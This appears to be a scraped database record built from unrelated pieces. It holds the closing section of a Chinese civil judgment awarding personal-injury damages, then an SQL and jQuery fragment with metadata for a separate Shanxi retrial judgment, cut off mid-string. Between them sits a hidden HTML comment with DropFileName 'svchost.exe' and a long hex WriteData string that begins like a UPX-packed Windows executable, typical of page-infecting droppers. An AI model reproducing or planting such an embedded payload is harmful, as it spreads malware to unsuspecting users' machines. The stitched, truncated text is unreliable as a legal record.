综上，依照《中华人民共和国侵权责任法》第十六条、第二十二条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第三条第二款、第十七条第一款及第二款、第十八条、第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条、第二十六条、第二十八条、第三十五条、《中华人民共和国民事诉讼法》第六十四第一款、《最高人民法院关于适用<中华人民共和国民事诉讼法>的解释》第九十条之规定，判决如下：
一、被告张若昕、第三人海南百年红房地产营销策划有限公司须于本判决发生法律效力之日起十五日内，各自向原告陈奕蓉支付赔偿款826903.45元（未包括精神损害抚慰金）；
二、被告张若昕、第三人海南百年红房地产营销策划有限公司须于本判决发生法律效力之日起十五日内，各自向原告陈奕蓉支付精神损害抚慰金25000元；
三、驳回原告陈奕蓉的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
案件受理费32454元、财产保全费4520元，合计36974元（原告已预交），由原告陈奕蓉负担18487元，由被告张若昕、第三人海南百年红房地产营销策划有限公司各自负担9243.5元。
如不服本判决，可在判决书送达之日起十五日内，向本院递交上诉状，并按对方当事人或代表人的人数提出副本，上诉于海南省海口市中级人民法院。
审判长卞长杰
人民陪审员黄亚六
人民陪审员冯祺媛
法官助理陆晶晶
法官助理陆晶晶
书记员谭立婷
速录员杨婷婷
{条文}
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD0817','2018-10-01
22:18:43',0,'web',NULL),(34205621,'9a5d2443-04d2-4f07-aaa8-49e471a1ef08','$(function(){$(\"#con_llcs\").html(\"浏览：56次\")});$(function(){var
caseinfo=JSON.stringify({\"文书ID\":\"9a5d2443-04d2-4f07-aaa8-49e471a1ef08\",\"案件名称\":\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷再审民事判决书\",\"案号\":\"（2015）运中民再字第76号\",\"审判程序\":\"再审\",\"上传日期\":\"\\\/Date(1461859200000)\\\/\",\"案件类型\":\"2\",\"补正文书\":\"2\",\"法院名称\":\"山西省运城市中级人民法院\",\"法院ID\":\"352\",\"法院省份\":\"山西\",\"法院地市\":\"运城市\",\"法院区县\":\"\",\"法院区域\":\"\",\"文书类型\":null,\"文书全文类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null,\"不公开理由\":null,\"DocContent\":\"\",\"文本首部段落原文\":\"\",\"诉讼参与人信息部分原文\":\"\",\"诉讼记录段原文\":\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷一案，2013年7月10日临猗县人民法院作出（2013）临民一初字第1125号财产保全民事裁定，2013年12月11日作出（2013）临民一初字第1125号民事判决。后王民贞、王惠芳不服，提起上诉。2014年5月19日运城市中级人民法院作出（2014）运中民终字第383号民事裁定书，撤销一审判决，发回重审。临猗县人民法院于2014年12月1日作出（2014）临民二初字第1240号民事判决书，王民贞、王惠芳不服，提起上诉。2015年4月30日运城市中级人民法院作出（2015）运中民终字第331号民事判决书。再审申请人王民贞、王惠芳仍不服，向本院申请再审。本院于2015年11月20日作出（2015）运中民申字第85号民事裁定书，裁定再审。本院依法另行组成合议庭，对本案公开开庭，进行再审。再审申请人王民贞、王惠芳的委托代理人袁伟强到庭参加诉讼，被申请人谢红祥及委托代理人姚会珍到庭参加诉讼。本案现已审理终结\",\"案件基本情况段原文\":\"\",\"裁判要旨段原文\":\"\",\"判决结果段原文\":\"\",\"附加原文\":\"\",\"文本尾部原文\":\"\"});$(document).attr(\"title\",\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷再审民事判决书\");$(\"#tdSource\").html(\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷再审民事判决书
（2015）运中民再字第76号\");$(\"#hidDocID\").val(\"9a5d2443-04d2-4f07-aaa8-49e471a1ef08\");$(\"#hidCaseName\").val(\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷再审民事判决书\");$(\"#hidCaseNumber\").val(\"（2015）运中民再字第76号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"山西省运城市中级人民法院\");$(\"#hidCaseType\").val(\"2\");$(\"#HidCourtID\").val(\"352\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"山西省运城市中级人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"民事案件\" },{ name: \"案由\", key: \"reason\", value:
\"运输合同纠纷\" },{ name: \"审理程序\", key: \"trialRound\", value: \"再审\" },{ name:
\"裁判日期\", key: \"trialDate\", value: \"2016-03-30\" },{ name: \"当事人\", key:
\"appellor\", value: \"王民贞,王惠芳,谢红祥\" }],LegalBase:
[{法规名称:\'《中华人民共和国民事诉讼法》\',Items:[{法条名称:\'第一百七十条\',法条内容:\'第一百七十条
系统尚未收录或引用有误
\'}]}]};if ($(\"#divTool_Summary\").length > 0)
{$(\"#divTool_Summary\").ContentSummary({ data: dirData });}});$(function()
{\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"再审申请人王民贞、王惠芳与被申请人谢红祥运输合同纠纷再审民事判决书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-04-29\\\\\",\\\\\